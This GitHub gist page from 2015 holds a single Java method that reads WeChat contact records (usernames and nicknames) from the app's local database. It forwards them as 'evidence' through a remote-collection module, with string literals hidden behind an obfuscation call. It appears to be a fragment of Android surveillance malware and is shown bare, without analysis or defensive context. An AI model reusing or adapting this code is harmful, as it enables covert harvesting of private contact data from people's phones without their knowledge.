Created
July 17, 2015 21:16
-
-
Save peterclemenko/66c953da86c79ee9bf8a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void saveWechatContacts(GenericSqliteHelper helper) { | |
String[] projection = new String[] { M.e("username"), M.e("nickname")}; | |
boolean tosave = false; | |
RecordVisitor visitor = new RecordVisitor(projection, M.e("nickname not null ")) { | |
@Override | |
public long cursor(Cursor cursor) { | |
String username = cursor.getString(0); | |
String nick = cursor.getString(1); | |
Contact c = new Contact(username, username, nick, ""); | |
if (username != null && username.startsWith( M.e("wxid"))) { | |
if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.WECHAT, c)) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (cursor) need to serialize"); | |
} | |
return 1; | |
} | |
} | |
return 0; | |
} | |
}; | |
if (helper.traverseRecords( M.e("rcontact"), visitor) == 1) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (saveWeChatContacts) serialize"); | |
} | |
ModuleAddressBook.getInstance().serializeContacts(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment